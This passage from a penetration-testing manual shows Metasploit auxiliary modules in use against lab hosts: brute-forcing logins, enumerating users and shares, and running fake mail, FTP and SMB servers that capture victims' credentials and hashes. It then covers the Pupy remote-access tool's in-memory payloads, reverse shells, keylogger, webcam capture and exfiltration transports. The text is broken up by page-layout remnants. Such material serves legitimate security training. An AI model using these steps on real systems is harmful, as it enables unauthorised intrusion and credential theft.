˓→Negotiate SSL/TLS for outgoing connections
VHOST no HTTP
˓→server virtual host
We will keep the default DICTIONARY and HTTP404S dictionary settings, set our RHOSTS and THREADS values
and let the module run.
...snip...
(continues on next page)
Our scan has found vulnerable servers. This vulnerability can potentially allow us to list, download, or even upload
files to password protected folders.
enum_wayback
The “enum_wayback” auxiliary module will query the archive.org site for any url’s that have been archived for a
given domain. This can be useful for locating valuable information or for finding pages on a site that have since been
unlinked.
Module options:
The only configuration item that we need to set is the DOMAIN value and then we let the scanner do its thing.
files_dir
The “files_dir” takes a wordlist as input and queries a host or range of hosts for the presence of interesting files on the
target.
DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_files.txt no
˓→Path of word dictionary to use
EXT no
˓→Append file extension to use
SSL false no
˓→Negotiate SSL/TLS for outgoing connections
VHOST no
˓→HTTP server virtual host
The built-in DICTIONARY list will serve our purposes so we simply set our RHOSTS value and let the scanner run
against our target.
[*] Using code '404' as not found for files with extension .null
[*] Using code '404' as not found for files with extension .backup
[*] Using code '404' as not found for files with extension .bak
[*] Using code '404' as not found for files with extension .c
[*] Using code '404' as not found for files with extension .cfg
[*] Using code '404' as not found for files with extension .class
[*] Using code '404' as not found for files with extension .copy
[*] Using code '404' as not found for files with extension .conf
[*] Using code '404' as not found for files with extension .exe
[*] Using code '404' as not found for files with extension .html
[*] Found http://192.168.0.155:80/index.html 200
[*] Using code '404' as not found for files with extension .htm
[*] Using code '404' as not found for files with extension .ini
[*] Using code '404' as not found for files with extension .log
[*] Using code '404' as not found for files with extension .old
[*] Using code '404' as not found for files with extension .orig
[*] Using code '404' as not found for files with extension .php
[*] Using code '404' as not found for files with extension .tar
[*] Using code '404' as not found for files with extension .tar.gz
[*] Using code '404' as not found for files with extension .tgz
[*] Using code '404' as not found for files with extension .tmp
[*] Using code '404' as not found for files with extension .temp
[*] Using code '404' as not found for files with extension .txt
[*] Using code '404' as not found for files with extension .zip
[*] Using code '404' as not found for files with extension ~
[*] Using code '404' as not found for files with extension
(continues on next page)
http_login
The “http_login” module is a brute-force login scanner that attempts to authenticate to a system using HTTP authen-
tication.
msf > use auxiliary/scanner/http/http_login
msf auxiliary(http_login) > show options
RHOSTS
˓→ yes The target address range or CIDR identifier
RPORT 80
˓→ yes The target port (TCP)
SSL false
˓→ no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false
˓→ yes Stop guessing when a credential works for a host
THREADS 1
˓→ yes The number of concurrent threads
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_
˓→userpass.txt no File containing users and passwords separated by space, one
˓→pair per line
USER_AS_PASS false
˓→ no Try the username as the password for all users
(continues on next page)
To configure the module, we set the AUTH_URI setting to the path of the page requesting authentication, our RHOSTS
value and to reduce output, we set the VERBOSE value to false.
As can be seen in the above output, our scan found a valid set of credentials for the directory.
open_proxy
The “open_proxy”‘ module scans a host or range of hosts looking for open proxy servers. This module helps mitigate
false positives by allowing us to declare valid HTTP codes to determine whether a connection was successfully made.
We set our RHOSTS value to a small range of IP addresses and have the module scan port 8888 or proxy servers.
msf auxiliary(open_proxy) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(open_proxy) > set RPORT 8888
RPORT => 8888
msf auxiliary(open_proxy) > set THREADS 11
THREADS => 11
msf auxiliary(open_proxy) > run
options
The “options” scanner module connects to a given range of IP address and queries any web servers for the options that
are available on them. Some of these options can be further leveraged to penetrated the system.
msf > use auxiliary/scanner/http/options
msf auxiliary(options) > show options
We set our RHOSTS and THREADS value and let the scanner run.
msf auxiliary(options) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-254
msf auxiliary(options) > set THREADS 11
THREADS => 11
msf auxiliary(options) > run
[*] 192.168.1.203 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
˓→PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods
[*] 192.168.1.204 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
˓→PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods
[*] 192.168.1.205 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK,
˓→UNLOCK methods
[*] 192.168.1.206 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK,
˓→UNLOCK methods
robots_txt
The “robots_txt” auxiliary module scans a server or range of servers for the presence and contents of a robots.txt file.
These files can frequently contain valuable information that administrators don’t want search engines to discover.
The configuration for this module is minimal. We simply set the RHOSTS and THEADS values and let it go.
ssl
The “ssl” module queries a host or range of hosts and pull the SSL certificate information if present.
Module options:
To configure the module, we set our RHOSTS and THREADS values and let it run.
msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(ssl) > set THREADS 20
THREADS => 20
msf auxiliary(ssl) > run
http_version
The “http_version” scanner will scan a range of hosts and determine the web server version that is running on them.
msf > use auxiliary/scanner/http/http_version
msf auxiliary(http_version) > show options
To run the scan, we set the RHOSTS and THREADS values and let it run.
msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(http_version) > set THREADS 255
THREADS => 255
msf auxiliary(http_version) > run
Armed with the knowledge of the target web server software, attacks can be specifically tailored to suit the target.
**tomcat_mgr_login*
The “tomcat_mgr_login” auxiliary module simply attempts to login to a Tomcat Manager Application instance using
a provided username and password list.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options
USER_AS_PASS false
˓→ no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_
˓→users.txt no File containing users, one per line
VERBOSE true
˓→ yes Whether to print output for all attempts
VHOST
˓→ no HTTP server virtual host
We will keep the default username and password files, set our RHOSTS and the RPORT of our target and let it run.
Our quick scan turned up a default set of tomcat credentials on our target system.
verb_auth_bypass
The “verb_auth_bypass” module scans a server or range of servers and attempts to bypass authentication by using
different HTTP verbs.
We configure this module by setting the path to the page requiring authentication, set our RHOSTS value and let the
scanner run.
By reading the returned server status codes, the module indicates there is a potential auth bypass by using the TRACE
verb on our target.
webdav_scanner
The “webdav_scanner” module scans a server or range of servers and attempts to determine if WebDav is enabled.
This allows us to better fine-tune our attacks.
The only configuration we need to do is to set our RHOSTS and THREADS values and let the scanner run.
˓→WebDAV disabled.
webdav_website_content
The “webdav_website_content” auxiliary module scans a host or range of hosts for servers that disclose their content
via WebDav.
As this module can produce a lot of output, we will set RHOSTS to target a single machine and let it run.
wordpress_login_enum
The “wordpress_login_enum” auxiliary module will brute-force a WordPress installation and first determine valid
usernames and then perform a password-guessing attack.
msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > show options
(continues on next page)
We configure the module first by pointing it to the path of wp-login.php on the target server. We then set our username
and password files, set the RHOSTS value, and let it run.
We can see in the above output that the module is efficient as it only brute-forces passwords against valid usernames
and our scan did indeed turn up a valid set of credentials.
imap_version
The “imap_version” auxiliary module is a relatively simple banner grabber for IMAP servers.
To configure the module, we will only set the RHOSTS and THREADS values and let it run. Note that you can also
pass credentials to the module.
msf auxiliary(imap_version) > set RHOSTS 192.168.1.200-240
RHOSTS => 192.168.1.200-240
msf auxiliary(imap_version) > set THREADS 20
THREADS => 20
msf auxiliary(imap_version) > run
˓→(IST)\x0d\x0a
mssql_ping
The “mssql_ping” module queries a host or range of hosts on UDP port 1434 to determine the listening TCP port of
any MSSQL server, if available. MSSQL randomizes the TCP port that it listens on so this is a very valuable module
in the Framework.
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
To configure the module, we set the RHOSTS and THREADS values and let it run against our targets.
As can be seen from the module output, not only does it return the listening TCP port, it returns other valuable
information such as the InstanceName and ServerName values.
mssql_idf
The “mssql_idf” (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of cre-
dentials and search for rows and columns with “interesting” names. This information can help you fine-tune further
attacks against the database.
To configure the module, we will set it to look for field names of ‘username’ and ‘password’, along with a known
password for the system, and our RHOST value.
As can be seen in the module output, the scanner found our ‘logins’ database with a ‘userpass’ table containing
username and password columns.
mssql_sql
The “mssql_sql” module allows you to perform SQL queries against a database using known-good credentials
To configure this module, we set our PASSWORD and RHOST values, then our desired SQL command, and let it run.
msf auxiliary(mssql_sql) > set PASSWORD password1
PASSWORD => password1
msf auxiliary(mssql_sql) > set RHOST 192.168.1.195
RHOST => 192.168.1.195
msf auxiliary(mssql_sql) > set SQL use logins;select * from userpass
SQL => use logins;select * from userpass
msf auxiliary(mssql_sql) > run
**mysql_login*
The “mysql_login” auxiliary module is a brute-force login tool for MySQL servers.
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
To configure our scan, we point the module to files containing usernames and passwords, set our RHOSTS value, and
let it run.
mysql_version
The “mysql_version” module, as its name implies, scans a host or range of hosts to determine the version of MySQL
that is running.
To configure the module, we simply set our RHOSTS and THREADS values and let it run.
**nbname*
The “nbname” auxiliary module scans a range of hosts and determines their hostnames via NetBIOS.
To configure the module, we set the RHOSTS and THREADS values then let it run.
msf auxiliary(nbname) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(nbname) > set THREADS 11
THREADS => 11
msf auxiliary(nbname) > run
pop3_version
The “pop3_version” module, as its name implies, scans a host or range of hosts for POP3 mail servers and determines
the version running on them.
msf > use auxiliary/scanner/pop3/pop3_version
msf auxiliary(pop3_version) > show options
This module requires only that we set the RHOSTS and THREADS values then let it run.
msf auxiliary(pop3_version) > set RHOSTS 192.168.1.200-250
RHOSTS => 192.168.1.200-250
msf auxiliary(pop3_version) > set THREADS 20
THREADS => 20
msf auxiliary(pop3_version) > run
(continues on next page)
pipe_auditor
The pipe_auditor scanner will determine what named pipes are available over SMB. In your information gathering
stage, this can provide you with some insight as to some of the services that are running on the remote system.
msf > use auxiliary/scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor) > show options
Module options:
To run the scanner, just pass, at a minimum, the RHOSTS value to the module and run it.
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.150-160
RHOSTS => 192.168.1.150-160
msf auxiliary(pipe_auditor) > set THREADS 11
THREADS => 11
msf auxiliary(pipe_auditor) > run
We can see that running the scanner without credentials does not return a great deal of information. If, however, you
have been provided with credentials as part of a pentest, you will find that the pipe_auditor scanner returns a great deal
more information.
msf auxiliary(pipe_auditor) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(pipe_auditor) > set SMBUser Administrator
SMBUser => Administrator
(continues on next page)
[*] 192.168.1.150 - Pipes: \netlogon, \lsarpc, \samr, \browser, \atsvc, \DAV RPC
˓→SERVICE, \epmapper, \eventlog, \InitShutdown, \keysvc, \lsass, \ntsvcs, \protected_
pipe_dcerpc_auditor
The pipe_dcerpc_auditor scanner will return the DCERPC services that can be accessed via a SMB pipe.
Module options:
smb2
The SMB2 scanner module simply scans the remote hosts and determines if they support the SMB2 protocol.
[*] 192.168.1.162 supports SMB 2 [dialect 255.2] and has been online for 618 hours
[*] Scanned 06 of 16 hosts (037% complete)
[*] Scanned 13 of 16 hosts (081% complete)
[*] Scanned 14 of 16 hosts (087% complete)
[*] Scanned 16 of 16 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb2) >
smb_enumshares
The smb_enumshares module, as would be expected, enumerates any SMB shares that are available on a remote
system.
msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(smb_enumshares) > show options
[*] 192.168.1.154:139 print$ - Printer Drivers (DISK), tmp - oh noes! (DISK), opt -
˓→(DISK), IPC$ - IPC Service (metasploitable server (Samba 3.0.20-Debian)) (IPC),
(continues on next page)
˓→ADMIN$ - IPC Service (metasploitable server (Samba 3.0.20-Debian)) (IPC)
[*] 192.168.1.161:139 IPC$ - Remote IPC (IPC), ADMIN$ - Remote Admin (DISK), C$ -
˓→Default share (DISK)
As you can see, since this is an un-credentialed scan, access is denied a most of the systems that are probed. Passing
user credentials to the scanner will produce much different results.
msf auxiliary(smb_enumshares) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_enumshares) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_enumshares) > run
[*] 192.168.1.161:139 IPC$ - Remote IPC (IPC), ADMIN$ - Remote Admin (DISK), C$ -
˓→Default share (DISK)
[*] 192.168.1.160:139 IPC$ - Remote IPC (IPC), ADMIN$ - Remote Admin (DISK), C$ -
˓→Default share (DISK)
[*] 192.168.1.150:139 IPC$ - Remote IPC (IPC), ADMIN$ - Remote Admin (DISK), C$ -
˓→Default share (DISK)
smb_enumusers
The smb_enumusers scanner will connect to each system via the SMB RPC service and enumerate the users on the
system.
msf > use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > show options
Module options:
˓→mysql, gnats, libuuid, backup, msfadmin, telnetd, sys, klog, postfix, service, list,
We can see that running the scan without credentials, only the Linux Samba service coughs up a listing of users.
Passing a valid set of credentials to the scanner will enumerate the users on our other targets.
Now that we have passed credentials to the scanner, the Linux box doesn’t return the set of users because the credentials
are not valid for that system. This is an example of why it pays to run a scanner in different configurations.
smb_login
Metasploit’s smb_login module will attempt to login via SMB across a provided range of IP addresses. If you have a
database plugin loaded, successful logins will be stored in it for future reference and usage.
You can clearly see that this module has many more options that other auxiliary modules and is quite versatile. We
will first run a scan using the Administrator credentials we ‘found’.
The smb_login module can also be passed a username and password list in order to attempt to brute-force login
attempts across a range of machines.
We will use this limited set of usernames and passwords and run the scan again.
Module options:
There are many more options available that you should experiment with to fully familiarize yourself with this extremely
valuable module.
smb_lookupsid
The smb_lookupsid module brute-forces SID lookups on a range of targets to determine what local users exist the
system. Knowing what users exist on a system can greatly speed up any further brute-force logon attempts later on.
Auxiliary action:
Name Description
---- -----------
LOCAL Enumerate local accounts
˓→libuuid, dhcp, syslog, klog, sshd, bind, postfix, ftp, postgres, mysql, tomcat55,
By way of comparison, we will also run the scan using a known set of user credentials to see the difference in output.
msf auxiliary(smb_lookupsid) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_lookupsid) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_lookupsid) > run
You will notice with credentialed scanning, that you get, as always, a great deal more interesting output, including
accounts you likely never knew existed.
smb_version
The smb_version scanner connects to each workstation in a given range of hosts and determines the version of the
SMB service that is running.
Module options:
Running this same scan with a set of credentials will return some different, and perhaps unexpected, results.
Contrary to many other cases, a credentialed scan in this case does not necessarily give better results. If the credentials
are not valid on a particular system, you will not get any result back from the scan.
smtp_enum
The SMTP Enumeration module will connect to a given mail server and use a wordlist to enumerate users that are
present on the remote system.
RHOSTS yes
˓→The target address range or CIDR identifier
RPORT 25 yes
˓→The target port (TCP)
THREADS 1 yes
˓→The number of concurrent threads
Using the module is a simple matter of feeding it a host or range of hosts to scan and a wordlist containing usernames
to enumerate.
Since the email username and system username are frequently the same, you can now use any enumerated users for
further logon attempts against other network services.
smtp_version
Poorly configured or vulnerable mail servers can often provide an initial foothold into a network but prior to launching
an attack, we want to fingerprint the server to make our targeting as precise as possible. The smtp_version module, as
its name implies, will scan a range of IP addresses and determine the version of any mail servers it encounters.
Module options:
snmp_enum
The snmp_enum module performs detailed enumeration of a host or range of hosts via SNMP similar to the standalone
tools snmpenum and snmpcheck.
Module options:
Although you can pass a range of hosts to this module, the output will become quite cluttered and confusing so it is
best to simply do one host at a time.
Hostname : Netgear-GSM7224
Description : GSM7224 L2 Managed Gigabit Switch
Contact : dookie
Location : Basement
Uptime snmp : 56 days, 00:36:28.00
Uptime system : -
System date : -
IP forwarding enabled : no
Default TTL : 64
TCP segments received : 20782
TCP segments sent : 9973
TCP segments retrans. : 9973
Input datagrams : 4052407
Delivered datagrams : 1155615
Output datagrams : 18261
Id : 1
Mac address : 00:0f:b5:fc:bd:24
Type : ethernet-csmacd
Speed : 1000 Mbps
Mtu : 1500
In octets : 3716564861
Out octets : 675201778
...snip...
[*] Routing information
0.0.0.0 0
0.0.0.0 161
0.0.0.0 514
snmp_enumshares
The snmp_enumshares module is a simple scanner that will query a range of hosts via SNMP to determine any
available shares.
msf > use auxiliary/scanner/snmp/snmp_enumshares
msf auxiliary(snmp_enumshares) > show options
Module options:
We configure the module by setting our RHOSTS range and THREADS value and let it run.
msf auxiliary(snmp_enumshares) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(snmp_enumshares) > set THREADS 11
THREADS => 11
msf auxiliary(snmp_enumshares) > run
[+] 192.168.1.201
shared_docs - (C:\Documents and Settings\Administrator\Desktop\shared_docs)
[*] Scanned 02 of 11 hosts (018% complete)
[*] Scanned 03 of 11 hosts (027% complete)
[*] Scanned 05 of 11 hosts (045% complete)
[*] Scanned 07 of 11 hosts (063% complete)
[*] Scanned 09 of 11 hosts (081% complete)
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(snmp_enumshares) >
snmp_enumusers
The snmp_enumusers module queries a range of hosts via SNMP and gathers a list of usernames on the remote system.
Module options:
As with most auxiliary modules, we set our RHOSTS and THREADS value and launch it.
snmp_login
The snmp_login scanner is a module that scans a range of IP addresses to determine the community string for SNMP-
enabled devices.
We set our RHOSTS and THREADS values while using the default wordlist and let the scanner run.
[+] SNMP: 192.168.1.2 community string: 'public' info: 'GSM7224 L2 Managed Gigabit
˓→Switch'
[+] SNMP: 192.168.1.199 community string: 'public' info: 'HP ETHERNET MULTI-
˓→ENVIRONMENT'
[+] SNMP: 192.168.1.2 community string: 'private' info: 'GSM7224 L2 Managed Gigabit
˓→Switch'
[+] SNMP: 192.168.1.199 community string: 'private' info: 'HP ETHERNET MULTI-
˓→ENVIRONMENT'
Our quick SNMP sweep found both the default public and private community strings of 2 devices on our network. This
module can also be a useful tool for network administrators to identify attached devices that are insecurely configured.
ssh_login
The ssh_login module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but
it can also perform brute-force login attempts. We will pass a file to the module containing usernames and passwords
separated by a space as shown below.
Next, we load up the scanner module in Metasploit and set USERPASS_FILE to point to our list of credentials to
attempt.
With everything ready to go, we run the module. When a valid credential pair is found, we are presented with a shell
on the remote machine.
˓→44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),
˓→29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),
˓→119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/
˓→Linux
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login) >
ssh_login_pubkey
Using public key authentication for SSH is highly regarded as being far more secure than using usernames and pass-
words to authenticate. The caveat to this is that if the private key portion of the key pair is not kept secure, the security
of the configuration is thrown right out the window. If, during an engagement, you get access to a private SSH key,
you can use the ssh_login_pubkey module to attempt to login across a range of devices.
msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > show options
ls
reset_logs.sh
id
uid=0(root) gid=0(root) groups=0(root)
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login_pubkey) >
telnet_login
The telnet_login module will take a list of provided credentials and a range of IP addresses and attempt to login to any
Telnet servers it encounters.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > show options
This auxiliary module allows you to pass credentials in a number of ways. You can specifically set a username and
password, you can pass a list of usernames and a list of passwords for it to iterate through, or you can provide a file
that contains usernames and passwords separated by a space.
We will configure the scanner to use a short usernames file and a passwords file and let it run against our
subnet.
Active sessions
===============
id
id
(continues on next page)
˓→119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ exit
exit
logout
[*] Command shell session 3 closed.
msf auxiliary(telnet_login) >
telnet_version
From a network security perspective, one would hope that Telnet would no longer be in use as everything, including
credentials is passed in the clear but the fact is, you will still frequently encounter systems running Telnet, particularly
on legacy systems.
The telnet_version auxiliary module will scan a subnet and fingerprint any Telnet servers that are running.
We just need to pass a range of IPs to the module, set our THREADS value, and let it fly.
Module options:
˓→\x0a\x0a\x0aLogin username:
tftpbrute
TFTP servers can contain a wealth of valuable information including backup files, router config files, and much more.
The tftpbrute module will take list of filenames and brute-force a TFTP server to determine if the files are present.
CHOST no The
˓→local client address
vmware_enum_users
This module will log into the Web API of VMware and try to enumerate all the user accounts. If the VMware instance
is connected to one or more domains, it will try to enumerate domain users as well.
msf > use auxiliary/scanner/vmware/vmware_enum_users
msf auxiliary(vmware_enum_users) > show options
Running this module will output a nice list of all the groups and users on the server.
msf auxiliary(vmware_enum_users) > run
Name Description
---- -----------
daemon
localadmin
nfsnobody
nobody
root
tty
users
vimuser
Name Description
---- -----------
hacker hacker
daemon daemon
dcui DCUI User
nfsnobody Anonymous NFS User
nobody Nobody
root Administrator
vimuser vimuser
vnc_login
The vnc_login auxiliary module will scan an IP address or range of addresses and attempt to login via VNC with either
a provided password or a wordlist.
msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > show options
We set our target range, threads, and perhaps most importantly, the BRUTEFORCE_SPEED value. Many newer VNC
servers will automatically ban further login attempts if too many failed ones are made consecutively.
With our module configuration set, we run the module. Notice in the output below that Metasploit automatically
adjusts the retry interval after being notified of too many failed login attempts.
As the above output indicates, we have turned up the password for 2 systems in our scanned range which will give us
a nice GUI to the target machines.
vnc_none_auth
The vnc_none_auth scanner, as its name implies, scans a range of hosts for VNC servers that do not have any authen-
tication set on them.
Module options:
To run our scan, we simply set the RHOSTS and THREADS values and let it run.
In our scan results, we see that one of our targets has wide open GUI access.
The “ftp” capture module acts as and FTP server in order to capture user credentials.
Auxiliary action:
Name Description
(continues on next page)
The default settings are suitable for our needs so we just run the module and entice a user to log in to our server. When
we have captured the information we need, we kill the job the server is running under.
msf auxiliary(ftp) > run
[*] Auxiliary module execution completed
[*] Server started.
msf auxiliary(ftp) >
[*] FTP LOGIN 192.168.1.195:1475 bobsmith / s3cr3t
[*] FTP LOGIN 192.168.1.195:1475 bsmith / s3cr3t
[*] FTP LOGIN 192.168.1.195:1475 bob / s3cr3tp4s
Jobs
====
Id Name
-- ----
1 Auxiliary: server/capture/ftp
http_ntlm
The “http_ntlm” capture module attempts to quietly catch NTLM/LM Challenge hashes over HTTP.
msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > show options
SRVHOST 0.0.0.0 yes The local host to listen on. This must be
˓→an address on the local machine or 0.0.0.0
Auxiliary action:
This module has a few options available for fine-tuning, including the ability to save any captured hashes in Cain&Abel
format. For our setup, we set the LOGFILE value to saves the hashes to a text file, set our SRVPORT value to listen
on port 80 and configure the URIPATH to / for added realism.
˓→on V-MAC-XP
Jobs
====
Id Name
-- ----
0 Auxiliary: server/capture/http_ntlm
As shown above, as soon as our victim browses to our server using Internet Explorer, the Administrator hash is
collected without any user interaction.
imap
The “imap” capture module acts as an IMAP server in order to collect user mail credentials.
Auxiliary action:
Name Description
---- -----------
Capture
We don’t need to do any extra configuration for this module so we let it run and then convince a user to connect to our
server and collect his credentials.
msf auxiliary(imap) > run
[*] Auxiliary module execution completed
Jobs
====
Id Name
-- ----
0 Auxiliary: server/capture/imap
pop3
The “pop3” capture module poses as a POP3 mail server in order to capture user mail credentials.
msf > use auxiliary/server/capture/pop3
msf auxiliary(pop3) > show options
Name Description
---- -----------
Capture
We will leave the settings at their defaults, run the module and then convince the victim to authenticate to our server.
Jobs
====
Id Name
-- ----
1 Auxiliary: server/capture/pop3
smb
The “smb” capture module acts as a SMB share to capture user password hashes so they can be later exploited.
SRVHOST 0.0.0.0 yes The local host to listen on. This must be
˓→an address on the local machine or 0.0.0.0
Auxiliary action:
Name Description
---- -----------
Sniffer
This module has a number of options available. We will only set the JOHNPWFILE option to save the captures hashes
in John the Ripper format, run the module, and convince a user to connect to our “share”.
Jobs
====
Id Name
-- ----
2 Auxiliary: server/capture/smb
Other Tools
5.1 Pupy
Pupy is an opensource multiplatform Remote Administration Tool. Pupy can be built to a classic executable, an
apk, a pure python file (that can be loaded remotely from a python one-liner), a reflective DLL . . . Some of these
methods does not leave any trace on disk. Pupy can load the python interpreter from memory and load any python
module remotely from memory (.py, .pyc, .pyd). You can then access objects on the client side from the serverside
transparently with the awesome rpyc library. Pupy can be used for various purposes :
• security research
• education
• pentesting
• administration
• projects and developments around privacy in python that require very low disk footprints . . .
5.1.1 Installation
553
Ptest Method Documentation, Release 1
5.1.2 Features
• Multi-platform (tested on windows xp, 7, 8, 10, kali linux, ubuntu, osx, android)
• On windows, the Pupy payload can be compiled as a reflective DLL and the whole python interpreter is loaded
from memory. Pupy does not touch the disk :)
• pupy can also be packed into a single .py file and run without any dependencies other that the python standard
library on all OS
• pycrypto gets replaced by pure python aes && rsa implementations when unavailable
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions
(.pyd, .so). The imported python modules do not touch the disk.
• Pupy is easily extensible, modules are quite simple to write, sorted by os and category.
• A lot of awesome modules are already implemented!
• Pupy uses [rpyc](https://github.com/tomerfiliba/rpyc) and a module can directly access python objects on the
remote client
• We can also access remote objects interactively from the pupy shell and you even get auto-completion of remote
attributes!
• Communication transports are modular, stackable and awesome. You could exfiltrate data using HTTP over
HTTP over AES over XOR. Or any combination of the available transports !
• Pupy can communicate using obfsproxy [pluggable transports](https://www.torproject.org/docs/
pluggable-transports.html.en)
• All the non interactive modules can be dispatched to multiple hosts in one command
• Commands and scripts running on remote hosts are interruptible
• Auto-completion for commands and arguments
• Custom config can be defined: command aliases, modules automatically run at connection, . . .
• Interactive python shells with auto-completion on the all in memory remote python interpreter can be opened
• Interactive shells (cmd.exe, /bin/bash, . . . ) can be opened remotely. Remote shells on Unix & windows clients
have a real tty with all keyboard signals working fine just like a ssh shell
• Pupy can execute PE exe remotely and from memory (cf. ex with mimikatz)
• Pupy can generate payloads in various formats : apk,lin_x86,lin_x64,so_x86,so_x64,exe_x86,exe_x64,dll_x86,dll_x64,py,pyinst,p
• Pupy can be deployed in memory, from a single command line using pupygen.py’s python or powershell one-
liners.
• “scriptlets” can be embeded in generated payloads to perform some tasks “offline” without needing network
connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm . . . )
• tons of other features, check out the implemented modules
All transports in pupy are stackable. This mean that by creating a custom transport conf
(pupy/network/transport/<transport_name>/conf.py), you can make you pupy session looks like anything.
For example you could stack HTTP over HTTP over base64 over HTTP over AES over obfs3 :o)
• rsa
– A layer with authentication & encryption using RSA and AES256, often stacked with other
layers
• aes
– layer using a static AES256 key
• ssl (the default one)
– TCP transport wrapped with SSL
• ssl_rsa
– same as ssl but stacked with a rsa layer
• http
– layer making the traffic look like HTTP traffic. HTTP is stacked with a rsa layer
• obfs3
– [A protocol to keep a third party from telling what protocol is in use based
on message contents](https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/
doc/obfs3/obfs3-protocol-spec.txt)
– obfs3 is stacked with a rsa layer for a better security
• scramblesuit
– [A Polymorphic Network Protocol to Circumvent Censorship](http://www.cs.kau.se/
philwint/scramblesuit/)
– scramblesuit is stacked with a rsa layer for a better security
• udp
– rsa layer but over UDP (could be buggy, it doesn’t handle packet loss yet)
• other
– Other layers doesn’t really have any interest and are given for code examples : (dummy,
base64, XOR, . . . )
Launchers allow pupy to run custom actions before starting the reverse connection - connect
• Just connect back
• bind
– Bind payload instead of reverse
• auto_proxy
– Retrieve a list of possible SOCKS/HTTP proxies and try each one of them. Proxy retrieval
methods are: registry, WPAD requests, gnome settings, HTTP_PROXY env variable
All platforms:
• command execution
• download
• upload
• interactive python shell with auto-completion
• interactive shell (cmd.exe, powershell.exe, /bin/sh, /bin/bash, . . . )
– tty allocation is well supported on both windows and *nix. Just looks like a ssh shell
• shellcode exec
• persistence
• socks5 proxy
• local and remote port forwarding
• screenshot
• keylogger
• run the awesome credential gathering tool [LaZagne](https://github.com/AlessandroZ/LaZagne) from memory
!
• sniff tools, netcreds
• process migration (windows & linux, not osx yet)
• ...
• a lot of other tools (upnp client, various recon/pivot tools using impacket remotely, . . . )
Windows specific :
• migrate - inter process architecture injection also works (x86->x64 and x64->x86)
• in memory execution of PE exe both x86 and x64!
– works very well with [mimitakz](https://github.com/gentilkiwi/mimikatz) :-)
• webcam snapshot
• microphone recorder
• mouselogger:
– takes small screenshots around the mouse at each click and send them back to the server
• token manipulation
• getsystem
• creddump
• tons of useful powershell scripts
• ...
Android specific
cd client/sources
./buildenv.sh
./build.sh
you can also add the flag DEBUG=1 if you want the generated pupy exe to open a console and print debug tracebacks
Android APK
Step 2
cd client/android_sources
./build.sh
The “client” here refers to pupy’s payload running on the victim, and the “server” here refers to the pupy’s payload
running on the attacker, independently of who initiate the connection (bind or reverse shell).
All available launchers, transports and scriptlets can be seen using the command :
$ python pupygen.py -l
Launchers
Pupy launchers is an abstraction layer to change the behavior of pupy clients before the connection starts. You can list
available launchers with the command :
$ python pupygen.py -h
The connect launcher doesn’t do anything special before “client” connecting to the “server” using the configured
transport. The bind launcher works like the connect launcher but the “server” needs to connect on the “client”. The
auto_proxy launcher will try to connect directly to the server, but if it fails, it will try to find the proxy configuration
by various methods depending on the OS and attempt to connect using each potential proxy found.
Transport Types
The transport define what protocol pupy will use to exfiltrate. Transports are usually customizable through the launcher
